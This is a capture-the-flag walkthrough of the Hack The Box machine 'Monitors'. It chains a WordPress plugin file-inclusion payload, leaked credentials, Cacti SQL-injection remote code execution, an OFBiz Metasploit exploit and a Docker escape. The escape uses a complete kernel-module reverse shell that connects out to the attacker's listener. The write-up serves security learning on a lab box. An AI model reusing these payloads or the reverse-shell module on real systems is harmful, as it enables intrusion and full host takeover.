This was my first hard box, it wasn't too bad but strong enumeration was defiantly required. The box has you leveraging a local file inclusion vulnerability to find credentials and allow for deeper enumeration to find a virtual host with a vulnerable dashboard to get you RCE. From there some grep and you have user. Root involved a docker escape with some problem solving. This is a really good box so if you haven't tried it already close this and try it! Otherwise... Let's go!
Starting with Nmap:
[felixm@blackbear ~]$ nmap -sV -sC monitors.htb PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA) | 256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA) |_ 256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-generator: WordPress 5.5.1 |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Welcome to Monitor – Taking hardware monitoring seriously
Only SSH and HTTP. Let's have a look at what's on port 80:
This seems to be some sort of blog style website. No crazy enumeration required here to find the CMS responsible as I can already seen the grim "Wordpress" watermark in the bottom left corner. Since this is Wordpress we have a unique 'quick win' opportunity called WPScan. Before we manually start bruteforcing files and directories let's give it a whirl:
[felixm@blackbear ~]$ wpscan -e ap --url http://monitors.htb _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.17 @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [i] Updating the Database ... [i] Update completed. [+] URL: http://monitors.htb/ [10.10.10.238] [+] Started: Fri Aug 13 17:38:09 2021 Interesting Finding(s): [+] Enumerating All Plugins (via Passive Methods) [+] Checking Plugin Versions (via Passive and Aggressive Methods) [i] Plugin(s) Identified: [+] wp-with-spritz | Location: http://monitors.htb/wp-content/plugins/wp-with-spritz/ | Latest Version: 1.0 (up to date) | Last Updated: 2015-08-20T20:15:00.000Z | | Found By: Urls In Homepage (Passive Detection) | | Version: 4.2.4 (80% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://monitors.htb/wp-content/plugins/wp-with-spritz/readme.txt [+] Finished: Fri Aug 13 17:38:12 2021 [+] Elapsed time: 00:00:02
Now I don't know what that plugin is but a quick read of the readme.txt
says "WP with Spritz lets your readers read more of your content quicker than ever using Spritz patented speed reading technology". Sounds weird but we can search for vulnerabilities. A quick Duckduckgo returns an ExploitDB which shows that there is indeed a Remote File Inclusion vulnerability. By adding /wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=
we can read files.
The next question then is what do we want to read? I tried going straight for user flag and SSH keys but of course i couldn't read them as we're likely a low privileged web user. So in classic CMS exploitation fashion, let's go and look into the configuration files for some credentials we can potentially leverage.
Weirdly after searching for 10 minuties no websites wanted to tell me the static path to wp-config.php
so I just kept slowly backing down the tree by removing one /../
at a time until i resolved the config file at http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../wp-config.php
. Inside this file we can see:
Now this mess defiantly doesn't look like a complete configuration file. It does have some snippets of what look to be configuration options but something is missing... I have experience with PHP so when i looked closer and saw this define( 'LOGGED_IN_KEY', ')F6L,A23Tbr9yhrhbgjDHJPJe?sCsDzDow-$E?zYCZ3*f40LSCIb] E%zrW@bs3/' );
I realized that the configuration might be written in PHP and thus is not run client sided. My hypothesis was that a string of special characters might have caused an escape on the ?PHP
tag. To get this page to actually render I just went to Burpsuite and threw the request into Repeater:
As hypothesized, one of the strings caused the PHP tag to break leaking some of the config into the page:
We now have some database credentials: wpadmin:BestAdministrator@2020!
however attempting to leverage these credentials became quite a challenge. These credentials didn't work with SSH or the Wordpress admin panel. I ran multiple directory and file bruteforce attacks and found nothing. Getting desperate I was about start looking at subdomains before I realized I have LFI... I can just read the Apache config located at /etc/apache2/sites-available/000-default.conf
:
Commented near the top we can see:
# Add cacti-admin.monitors.htb.conf
If we add cacti-admin.monitors.htb
into our /etc/hosts
file and then throw it in the browser we are met with:
Looking at the credentials we found earlier we can foresee a problem: The user name is wpadmin
which looks like a service specific username. Going to the Cacti official Github repository we can see that there is a default admin user with the username admin
. Using this with the password we found earlier will get us in!
Looking around this platform it looks pretty complicated and I couldn't quite figure out what it was so I went back to the Github to find this: "Cacti is a complete network graphing solution designed to harness the power of RRDtool's data storage and graphing functionality". Manually finding a vulnerability in this would take a while so we can search for quick win exploits. Searching ExploitDB I found: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution.
[felixm@blackbear ~]$ python3 cacti.py -t http://cacti-admin.monitors.htb -u admin -p BestAdministrator@2020! --lhost 10.10.14.9 --lport 4444 [+] Connecting to the server... [+] Retrieving CSRF token... [+] Got CSRF token: sid:4dd8aa22298c6e63f0b4185a5e3851bd07fd8ab2,1630534532 [+] Trying to log in... [+] Successfully logged in! [+] SQL Injection: "name","hex" "","" "admin","$2y$10$TycpbAes3hYvzsbRxUEbc.dTqT0MdgVipJNBYu8b7rUlmB8zn8JwK" "guest","43e9a4ab75570f5b" [+] Check your nc listener!
www-data@monitors:/usr/share/cacti/cacti$ whoami && id www-data uid=33(www-data) gid=33(www-data) groups=33(www-data)
We have a shell! Now to privilege escalate! How from looking at the Github for Cacti earlier I know this app is massive. If their are clear text credentials in a configuration file somewhere it will take ages to find. Because of this I decided to go straight for a linpeas.sh
. Unfortunately the target machine doesn't have curl
or wget
(indicator we might be in a container?), there is a method of using Netcat listener to pipe scripts through but I just decided to snoop around the common folders. Looking into the home folder we can see some interesting files and holders:
www-data@monitors:/home/marcus$ ls -la drwxr-xr-x 5 marcus marcus 4096 Jan 25 2021 . drwxr-xr-x 3 root root 4096 Nov 10 2020 .. d--x--x--x 2 marcus marcus 4096 Nov 10 2020 .backup lrwxrwxrwx 1 root root 9 Nov 10 2020 .bash_history -> /dev/null -rw-r--r-- 1 marcus marcus 220 Apr 4 2018 .bash_logout -rw-r--r-- 1 marcus marcus 3771 Apr 4 2018 .bashrc drwx------ 2 marcus marcus 4096 Jan 25 2021 .cache drwx------ 3 marcus marcus 4096 Nov 10 2020 .gnupg -rw-r--r-- 1 marcus marcus 807 Apr 4 2018 .profile -r--r----- 1 root marcus 84 Jan 25 2021 note.txt -r--r----- 1 root marcus 33 Sep 1 21:44 user.txt
Both note.txt
and .backup
caught my attention. Unfortunately we can't read either of these files. Again we could use something like Pspy to monitor processes to see if there is a process writing to .backup on a cron job or something however again getting scripts across is painful so time for some dirty tricks! A backup script will have to reference the path to the .backup
folder so grepping whole folders looking for the user's name is a decent start:
www-data@monitors:/$ grep 'marcus' /etc -R 2>/dev/null /etc/group-:marcus:x:1000: /etc/subgid:marcus:165536:65536 /etc/group:marcus:x:1000: /etc/passwd:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash /etc/systemd/system/cacti-backup.service:ExecStart=/home/marcus/.backup/backup.sh /etc/subuid:marcus:165536:65536 /etc/passwd-:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
Well /home/marcus/.backup/backup.sh
looks like what we want. Going to the directory and cat'ing it shows:
www-data@monitors:/$ cat /etc/systemd/system/cacti-backup.service [Unit] Description=Cacti Backup Service After=network.target [Service] Type=oneshot User=www-data ExecStart=/home/marcus/.backup/backup.sh [Install] WantedBy=multi-user.target
This looks like part of a Cacti feature that can backup your data, it seems to be leaking a backup.sh
files which we couldn't previously see in the folder due to permissions. Let's see if we can just cat the .backup
out of the home folder:
www-data@monitors:/home/marcus$ cat .backup/backup.sh #!/bin/bash backup_name="cacti_backup" config_pass="VerticalEdge2020" zip /tmp/${backup_name}.zip /usr/share/cacti/cacti/* sshpass -p "${config_pass}" scp /tmp/${backup_name} 192.168.1.14:/opt/backup_collection/${backup_name}.zip rm /tmp/${backup_name}.zip
Lucky for us the folder may have the correct permissions but the script inside doesn't. We have some new credentials in the form of cacti_backup:VerticalEdge2020
. We can now try this password against Marcus on SSH to see if we can get user:
[felixm@blackbear ~]$ ssh marcus@monitors.htb Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64) Last login: Wed Sep 1 23:41:51 2021 from 10.10.14.9 marcus@monitors:~$ whoami && id marcus uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
Remember that note.txt
file we couldn't read earlier? Let's take a look:
marcus@monitors:~$ cat note.txt TODO: Disable phpinfo in php.ini - DONE Update docker image for production use - IN PROGRESS
This note seems to suggest that there is a container running: "Update docker image for production use". Running netstat -an
we can try to see if there is a container running:
marcus@monitors:~$ netstat -an Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN
Here we can see this machine listening on port 8443 that I didn't see on the Nmap scan so I'm assuming this is the local Docker container. To allow us to connect to the container's service externally we need to forward this connection. This simplest way to do this is to use an SSH Tunnel. To do this we can use the following command: ssh -L 8443:127.0.0.1:8443 -R 4444:127.0.0.1:4444 -R 8080:127.0.0.1:8080 marcus@monitors.htb
We can now check port 8443 in the browser:
After setting off a directory brute force we can have a quick search for Tomcat 9.0 exploit
brings up this blog about "Apache OFBiz XMLRPC via Deserialization of Untrusted Data" which can lead to RCE. This also has a Metasploit module we can try:
msf6 exploit(linux/http/apache_ofbiz_deserialization) > show options Module options (exploit/linux/http/apache_ofbiz_deserialization): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 127.0.0.1 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 8443 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. SSL true no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI / yes Base path URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host Payload options (linux/x64/meterpreter_reverse_https): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.14.20 yes The local listener hostname LPORT 4444 yes The local listener port LURI no The HTTP Path
You should now have root!
root@aa1667753861:/usr/src/apache-ofbiz-17.12.01# whoami && id root uid=0(root) gid=0(root) groups=0(root)
Unfortunately going to the root directory doesn't yield us a flag. Remember the note from earlier? "Update docker image for production use"? Well it looks like we're in a container.
Time to go through the docker escape checklist! This is an excellent article to follow when looking to do a Docker escape but here is the TLDR:
Docker containers have "capabilities" which can allow them to perform administrative system actions on themselves. One of the major ones is called SYS_MODULE which allows you to load kernel modules from the container onto the host system as a non privileged user (A full list of capabilities can be found here). So how can we abuse loading kernel modules to get root privileges?
First let's check the capabilities we have in the container:
marcus@monitors:~$ capsh --print Current: = Bounding set = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read Securebits: secure-noroot: no (unlocked) secure-no-suid-fixup: no (unlocked) secure-keep-caps: no (unlocked) uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
Now we have a lot of capabilities but the key one mentioned in the article cap_sys_module
is present so let's continue with the malicious kernel module exploitation, there are 2 parts to this: First is to create a C program that can invoke a reverse shell using usermode helper API. Second we need to make a Makefile to compile the C program as a kernel module (Again for a much deeper explanation check out the article).
Here is the exploit.c
file (I placed in the root folder) containing the reverse shell:
#include <linux/kmod.h> #include <linux/module.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("AttackDefense"); MODULE_DESCRIPTION("LKM reverse shell module"); MODULE_VERSION("1.0"); char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.20/6969 0>&1", NULL}; static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL }; static int __init reverse_shell_init(void) { return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); } static void __exit reverse_shell_exit(void) { printk(KERN_INFO "Exiting\n"); } module_init(reverse_shell_init); module_exit(reverse_shell_exit);
Here is the Makefile
(I also placed in the root folder) containing the build instructions:
obj-m +=exploit.o all: make -C /lib/modules/4.15.0-142-generic/build M=/root modules clean: make -C /lib/modules/4.15.0-142-generic/build M=/root clean
Then we can now run make
:
root@aa1667753861:~# make make -C /lib/modules/4.15.0-142-generic/build M=/root modules make[1]: Entering directory '/usr/src/linux-headers-4.15.0-142-generic' make CC [M] /root/exploit.o Building modules, stage 2. MODPOST 1 modules CC /root/exploit.mod.o LD [M] /root/exploit.ko make[1]: Leaving directory '/usr/src/linux-headers-4.15.0-142-generic'
If this was successful we should have some new files:
root@aa1667753861:~# ls -la total 212 drwx------ 1 root root 4096 Apr 4 23:44 . drwxr-xr-x 1 root root 4096 Apr 4 23:38 .. lrwxrwxrwx 1 root root 9 Apr 9 2021 .bash_history -> /dev/null -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc -rw-r--r-- 1 root root 74882 Apr 4 23:41 .cache.mk -rw-r--r-- 1 root root 177 Apr 4 23:44 .exploit.ko.cmd -rw-r--r-- 1 root root 29967 Apr 4 23:44 .exploit.mod.o.cmd -rw-r--r-- 1 root root 29864 Apr 4 23:44 .exploit.o.cmd drwxr-xr-x 2 root root 4096 Apr 4 23:44 .tmp_versions -rw-r--r-- 1 root root 154 Apr 4 23:35 Makefile -rw-r--r-- 1 root root 0 Apr 4 23:44 Module.symvers -rw-r--r-- 1 root root 617 Apr 4 23:44 exploit.c -rw-r--r-- 1 root root 5080 Apr 4 23:44 exploit.ko -rw-r--r-- 1 root root 920 Apr 4 23:44 exploit.mod.c -rw-r--r-- 1 root root 3016 Apr 4 23:44 exploit.mod.o -rw-r--r-- 1 root root 4168 Apr 4 23:44 exploit.o -rw-r--r-- 1 root root 24 Apr 4 23:44 modules.order
We can set up a nc listener and load our kernel module:
root@aa1667753861:~# insmod exploit.ko
[felixm@blackbear ~]$ nc -lvnp 6969 listening on [any] 6969 ... connect to [10.10.14.20] from (UNKNOWN) [10.10.10.238] 56026 root@monitors:/# whoami && id root uid=0(root) gid=0(root) groups=0(root)
Wow this box was very hard. The first stages of the box have you really testing your enumeration skills figuring out to check the virtual hosts file took me a huge amount of time. The only other massive hurdle for me was getting the final kernel module make
command to work. It took lots of troubleshooting as uname -r
gave the incorrect version so i had to manually check and hard code the version into my Makefile
. Lesions learned and new techniques gained, now I have 'check sites-available file' in my enumeration checklist!